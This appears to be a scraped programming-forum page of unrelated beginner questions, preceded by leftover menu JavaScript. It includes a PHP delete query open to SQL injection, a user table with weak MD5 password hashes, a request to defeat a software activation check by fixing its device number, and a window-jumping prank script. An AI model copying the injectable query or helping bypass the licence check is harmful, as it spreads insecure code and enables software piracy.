mm_menu_1107105559_0_3.menuBorder=1; mm_menu_1107105559_0_3.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0_3.menuBorderBgColor='#000000'; mm_menu_1107105559_0_3.bgColor='#000000'; window.mm_menu_1107105559_0_3a = new Menu("HARTKE",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0_3a.addMenuItem("HARTKE","location='http://www.samsontech.com/products/brandpage.cfm?brandID=3'"); mm_menu_1107105559_0_3a.addMenuItem("Pricelist","location='http://www.korgcanada.com/e/products/pricelists.html'"); mm_menu_1107105559_0_3a.hideOnMouseOut=true; mm_menu_1107105559_0_3a.menuBorder=1; mm_menu_1107105559_0_3a.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0_3a.menuBorderBgColor='#000000'; mm_menu_1107105559_0_3a.bgColor='#000000'; window.mm_menu_1107105559_0_4 = new Menu("LIGHTSNAKE",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0_4.addMenuItem("LIGHTSNAKE","location='http://www.soundtech.com'"); mm_menu_1107105559_0_4.addMenuItem("Pricelist","location='http://www.korgcanada.com/e/products/pricelists.html'"); mm_menu_1107105559_0_4.hideOnMouseOut=true; mm_menu_1107105559_0_4.menuBorder=1; mm_menu_1107105559_0_4.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0_4.menuBorderBgColor='#000000'; mm_menu_1107105559_0_4.bgColor='#000000'; window.mm_menu_1107105559_0 = new Menu("root",150,17,"Verdana, Arial, Helvetica, sans-serif",11,"#92c4f5","#2a495f","#2a495f","#99ccff","left","middle",3,0,500,0,0,true,true,true,0,false ,true); mm_menu_1107105559_0.addMenuItem(mm_menu_1107105559_0_1,"location='http://www.korg.com'"); mm_menu_1107105559_0.addMenuItem(mm_menu_1107105559_0_2,"location='http://www.voxamps.co.uk'"); mm_menu_1107105559_0.addMenuItem(mm_menu_1107105559_0_3,"location='http://www.samsontech.com'"); mm_menu_1107105559_0.addMenuItem(mm_menu_1107105559_0_3a,"location='http://www.samsontech.com/products/brandpage.cfm?brandID=3'"); mm_menu_1107105559_0.addMenuItem(mm_menu_1107105559_0_4,"location='http://www.soundtech.com'"); mm_menu_1107105559_0.addMenuItem("Promotions","location='/e/promotions.html'"); mm_menu_1107105559_0.addMenuItem("Suggested Retail Prices","location='/e/products/pricelists.html'"); mm_menu_1107105559_0.hideOnMouseOut=true; mm_menu_1107105559_0.childMenuIcon="/images/nav/arrows.gif"; mm_menu_1107105559_0.menuBorder=1; mm_menu_1107105559_0.menuLiteBgColor='#2a4960'; mm_menu_1107105559_0.menuBorderBgColor='#000000'; mm_menu_1107105559_0.bgColor='#000000'; mm_menu_1107105559_0.writeMenus(); } // mmLoadMenus() //--> I have an user table like this:- guid | username | password | firstname | lastname | location | emailad dress | userrole -----------------------------------+----------+----------------------------------+-----------+-----------+----------+-------- ------+--------------- 8024259764dc3e8ee0fb6f5.84107784 | james | 827ccb0eea8a706c4c34a16891f84e7b | james | bond | NY | ny@live .com | administrator 18689183644dc3e91571a364.71859328 | saty | 250cf8b51c773f3f8dc8b4be867a9a02 | saty | john | NY | hk@fd.c om | administrator 2644885344cecd6f2973b35.63257615 | admin | 21232f297a57a5a743894a0e4a801fc3 | System | Generated | | | administrator (3 rows) now my postgre query for delete the row .... $query = "delete from users where username!= 'admin' and guid='".$guid."'"; $result = pg_query($conn, $query); ?> <script type="text/javascript"> alert("Cannot delete this .\n It is system generated(s)."); </script> <?php (1)when I delete the user name one by one then delete occurs in my page userlist.php, I donot want to delete admin so i use username!= 'admin' in where condition as shown above. (2)now when I del any username(3 rows) from user table then alert occurs & it delete from userlist.php after that my page userlist.php is blank. Finaly when i refresh the page then my admin username seen.. when i use return true; function then only alert generate .. delete doesnot occurs ... Actauly i want:- (1)if user is not admin then it delete from userlist.php ... nd also i m continue on this page ... like when james and saty want to delte their acount ..as given in table. (2)if user is admin then alert generate nd i m continue on this page. i m tired now plz help me .... so can anyone put the best condition in my coding. Ok, so i need help writing a java script that will look at a bunch of numbers and output the highest one so what i need is for it to do something like this. (A is my input value) (B is my output value) the (A) value will be constantly changing and with the script has to do is look at all of those values and output them to (b) if anyone knows how to do this i would be so grateful if they could write the code for me because i'm new to coding and i really need this to work. thanks. I am looking for help to develop a java code for my e-commerce site mini cart. I have looked locally (kijiji) and on Coding Forums market place and haven't received a great response. Either the person had other projects they were working on or they were trying to "sell" me more than what I was asking for (ie web and graphic design). I have a mini cart on my site that I would like to have a few specific features. I am hoping someone in this forum can help me out (as I have received wonderful help before!!) I need a javascript code/feature that will: - highlight the most recent item that has been added to slide down mini cart window - refresh the mini cart div content to update item count and price. On the site I am hosted on there is a built in feature to show how many items are in the cart and total price, but I don't know how to get it to update successfully - when slide down mini cart window refreshes it should'nt scroll to the top (if there is a scrollbar) ie: looking to implement a javascript: void (0) if possible - have the slide down minicart window appear for 5-10 seconds then automatically slide back up. (the visitor can also have the option to close the window before the 5 seconds) I would really appreciate any help with this. I find javascript hard and I have tried to learn it, but unfortunately I can't seem to grasp it . hello, i am looking a a specific javascript code for a school project. what the code does is it re-sizes your window to a specific size, and then makes it jump around to the four corners of your screen. a perfect example of this would be the rick roll site called http://www.20b.org/rickroll.html its best viewed in internet explorer, and will take effect after you allow it on the top pop up window. it seems that the latest version of firefox disables the window resizing and movement, so use IE. after examining the page source, i managed to find this code. window.resizeTo(640,625); window.moveTo(0,0); for (i = 1; i <= 9; i++){ setTimeout('window.moveTo(1599,1199);', i+"000"); i++; setTimeout('window.moveTo(0,1199);', i+"000"); i++; setTimeout('window.moveTo(1599,0);', i+"000"); i++; setTimeout('window.moveTo(0,0);', i+"000"); } the code worked perfectly on the macs used at school. but however, when i took it home and tried it on my PC, which has a different sized monitor, it didnt work right. my copied code section seemed to jump off the edges of the screen, like it was using the size of a Macs monitor, yet the original website works fine. this led me to believe that the source code seems to find the size of the monitor and adjust the position of where it moves. i cant seem to find that part of the code. any help would be appreciated Hello, I'm making a Javascript implementation for my Java program. But I'm having a proplem. I want to call my own Java code from the Javascript script. Is that possible? Thanks, enderp Hi First sorry for my bad English! may any one interpret the JavaScript code below for me? A Device code ( a "random number") and the DVD code gives an activation code! Each install time a random number and thus a new activation code! i works in cookie base manner! clear cookie couse program become unusable and another activation will be needed! I want to change random Number to a fix one so it Becomes constant and does not change regularly! and then no need for change activation code... Where do I change? I'm sure help ... best regards thanks ----------------------------------------------------------------------------------- <html> <head> <title>Activation</title> <script type="text/javascript" src="../js/ajax.js"></script> <script type="text/javascript"> var _0x8834=["\x72\x65\x70\x6C\x61\x63\x65","\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x65\x72\x 69\x61\x6C","\x61\x63\x74\x69\x76\x61\x74\x69\x6F\ x6E\x43\x6F\x64\x65","\x72\x61\x6E\x64","\x73\x75\ x62\x73\x74\x72\x69\x6E\x67","\x4D\x6F\x62\x69\x55 \x70\x54\x6F\x44\x61\x74\x65\x5F\x33","\x4D\x6F\x6 2\x69\x55\x70\x54\x6F\x44\x61\x74\x65\x5F\x34","\x 4D\x6F\x62\x69\x55\x70\x54\x6F\x44\x61\x74\x65\x5F \x35","\x2E\x2E\x2F\x4D\x6F\x62\x69\x55\x70\x54\x6 F\x44\x61\x74\x65\x2E\x68\x74\x6D\x3F"];function GET(){var _0x84efx2={};var _0x84efx3=window[_0x8834[2]][_0x8834[1]][_0x8834[0]](/[?&]+([^=&]+)=([^&]*)/gi,function (_0x84efx4,_0x84efx5,_0x84efx6){_0x84efx2[_0x84efx5]=_0x84efx6;} );return _0x84efx2;} ;if(GET()[_0x8834[3]]!=undefined&&GET()[_0x8834[4]]!=undefined&&GET()[_0x8834[5]]!=undefined){var num=(parseInt(GET()[_0x8834[3]][_0x8834[6]](0,7))%5555)*(parseInt(GET()[_0x8834[5]]%30)+1);if(num==parseInt(GET()[_0x8834[4]])){setf(_0x8834[7],GET()[_0x8834[5]]);setf(_0x8834[8],GET()[_0x8834[3]]);setf(_0x8834[9],GET()[_0x8834[4]]);window[_0x8834[2]]=_0x8834[10];} ;} ; </script> </head> <body align="center"> <h1>Activation</h1> To get activation code visit*************<br> <script language="javascript"> if (GET()['serial']!=undefined) document.write('<br>Incorrect serial or activation code. Try again please!<br>'); </script> <form action="./activation.htm?" method="GET"> <table align="center"> <tr> <td>Device code:</td> <td><script language="javascript"> if (getf('rand_num')==undefined) setf('rand_num', Math.floor(Math.random()*9999)); var rand_num=getf('rand_num'); document.write(rand_num+'<INPUT TYPE="hidden" NAME="rand" VALUE="'+rand_num+'">'); </script></td> </tr> <tr> <td>Serial</td> <td> <input name="serial"></input></td> </tr> <tr> <td>Activation code</td> <td> <input name="activationCode"></input></td> </tr> </table> <input type='submit' value="Activate"></input> </form> </body> </html> Can you place java code in an external javascript file (.js). For example can I do the following in my xx.js file. $(document).ready(function(){ <% execute some java code here %> ...execute some javascript code here... }) Can I do the above? Another question ... I know <% %> is to execute java code inside html. But what does <%-- - -%> mean? Thanks for any help. Hi there, I'm trying really hard to find the solution to this error I am getting in java. Im using blue j. I have a feeling its something other than just braces missing somewhere, I have looked carefully and I'm just having bad luck!! I cant proceed to the next stage of my code unless I get this bit perfected with no syntax errors. I really really appreciate someone helping me out. Code: import java.util.Scanner; import java.awt.Color; /** * Write a description of class stage2 here. * * @author (Gayethiri Guruthevan) * @version (Version 1.0) */ public class stage2 { public static void main(String[]args) { final int WIDTH = 500; // width of the sheet in pixels final int HEIGHT = 500; // height of the sheet in pixels int x; // the x-coordinate int y; // the y-coordinate String direction; // the direction chosen // Create a Scanner object for keyboard input. Scanner keyboard = new Scanner(System.in); // 1. Ask the user for the ant's x-coordinate System.out.print("Enter your ant's x-coordinate: "); x = keyboard.nextInt(); // 2. If the x-coordinate is outside the allowed range, // print an error message and exit if(x < 0 || x > WIDTH-1) { System.out.println("The x-coordinate must be between 0 and " + (WIDTH-1)); System.exit(-1); } // 3. Ask the user for the ant's y-coordinate System.out.print("Enter your ant's y-coordinate: "); y = keyboard.nextInt(); // 4. If the integer is outside the allowed range, // print an error message and exit if(y < 0 || y > HEIGHT-1) { System.out.println("The Y-coordinate must be between 0 and " + (HEIGHT-1)); System.exit(-1); } // 5. Ask the user for the direction System.out.print("Enter the direction the ant is facing: "); direction = keyboard.next(); System.out.print("How many steps should the ant take?: "); int numStepsToTake = keyboard.nextInt(); for(int i=0; i<numStepsToTake;i++) { if (direction.equalsIgnoreCase("DL")) { y+=1; x-=1; } else if (direction.equalsIgnoreCase("DR")) { y-=1; x+=1; } else if (direction.equalsIgnoreCase("D")) { y-=1; } if (direction.equalsIgnoreCase("U")) { x+=1; } else if (direction.equalsIgnoreCase("UR")) { y+=1; x+=1; } else if (direction.equalsIgnoreCase("UL")) { y+=1; x-=1; } else if (direction.equalsIgnoreCase("L")) { x-=1; } else if(direction.equalsIgnoreCase("R")) { x+=1; } else { System.out.println("That is incorrect please enter the right direction"); } // "Wrap" the x and y-coordinates if the ant has walked over the edge of the paper if(x < 0) { x += WIDTH; } else if(x > WIDTH-1) { x-=WIDTH; } if(y < 0) { y += HEIGHT; } else if(y > HEIGHT-1) { y-=HEIGHT; } //Here is the new method for antart. AntArt.init(WIDTH,HEIGHT,x,y); for(int i=0; i<numStepsToTake;i++) { int oldX = x; int oldY = y; Color paperColor = AntArt.getColor(x,y); antColor = nextColor(antColor,paperColor); AntArt.setColor(antColor); // Take a step direction = nextDirection(direction,antColor,paperColor); x = stepX(x,direction,WIDTH,HEIGHT); y = stepY(y,direction,WIDTH,HEIGHT); AntArt.paint(oldX,oldY); } AntArt.paint(x,y); System.out.println("The new x is " + x + " and y coordinate is " + y); } } } private static int stepx(int x, String direction, int WIDTH, int HEIGHT) { //this will be the answer int newx = x; // take a step in the right direction if(direction.equals("UR")) { newx += 1; } else if (direction.equals("R")) { newx += 1; } else if(direction.equals("DR")) { newx += 1; } else if(direction.equals("DL")) { newx -= 1; } else if(direction.equals("L")) { newx -= 1; } else if(direction.equals("UL")) { newx -= 1; } // "Wrap" the x and y-coordinates if the ant has walked over the edge of the paper if(newx < 0) { newx += WIDTH; } else if(newx > WIDTH-1) { newx -= WIDTH; } return newx; } } } private static int stepY(int y, String direction, int WIDTH, int HEIGHT) { // this will be the answer int newy = y; // take a step in the right direction if(direction.equals("UR")) { newy += 1; } else if (direction.equals("R")) { newy += 1; } else if(direction.equals("DR")) { newy += 1; } else if(direction.equals("DL")) { newy -= 1; } else if(direction.equals("L")) { newy -= 1; } else if(direction.equals("UL")) { newy -= 1; } // "Wrap" the x and y-coordinates if the ant has walked over the edge of the paper if(newy < 0) { newy += HEIGHT; } else if(newy > HEIGHT-1) { newy -= HEIGHT; } return newy; } } just started learning scripting. This bookmarklet essentially takes the domain name of the tab currently open when one pressses it & runs a search query through Google prefixing the related: search operator. As evident, here it shows the result in the same page replacing the earlier one. I would like it to open in a new tab. Can you please tell me how to do so. Self-learning it. At an initial stage of learning, I am. Code: javascript:location.href='https://www.google.com/search?q=related%3A'+encodeURIComponent(location.host) Hi, I am using a password protection javascript code that works very well, but my problem is that I would like to edit the code so that the ".html" page will open inside an iframe on the main page. I think the code "window.location=verification+extension" needs to be edit to indicate the iframe that I want the html page to open in. The complete code is below in bold and parts of code in red text is where I think I need to edit, but I don't know how to edit the code to do what I want. Can anyone please Help Me, Thanks to all that respond. <!-- var pass=new Array() var t3="" var lim=7 pass[0]="TLMXe8VqAwsAllw" pass[1]="YeWAc9pfP1rmGrA" pass[2]="M8ljslaPqg0mQQp" pass[3]="SRdDwXWa0LSsGB" pass[4]="83I2WyO06m3aUjs0" pass[5]="453I2WyO06m3aUjs" var extension=".html" var enablelocking=0 var numletter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" var temp3='' var cur=0 function max(which){ return (pass[Math.ceil(which)+(3&15)].substring(0,1)) } function testit(input){ temp=numletter.indexOf(input) var temp2=temp^parseInt(pass[phase1-1+(1|3)].substring(0,2)) temp2=numletter.substring(temp2,temp2+1) return (temp2) } function submitentry(){ t3='' verification=document.password1.password2.value phase1=Math.ceil(Math.random())-6+(2<<2) var indicate=true for (i=(1&2);i<window.max(Math.LOG10E);i++) t3+=testit(verification.charAt(i)) for (i=(1&2);i<lim;i++){ if (t3.charAt(i)!=pass[phase1+Math.round(Math.sin(Math.PI/2)-1)].charAt(i)) indicate=false }0 if (verification.length!=window.max(Math.LOG10E)) indicate=false if (indicate) window.location=verification+extension else alert("Invalid password. Please try again") } //--> |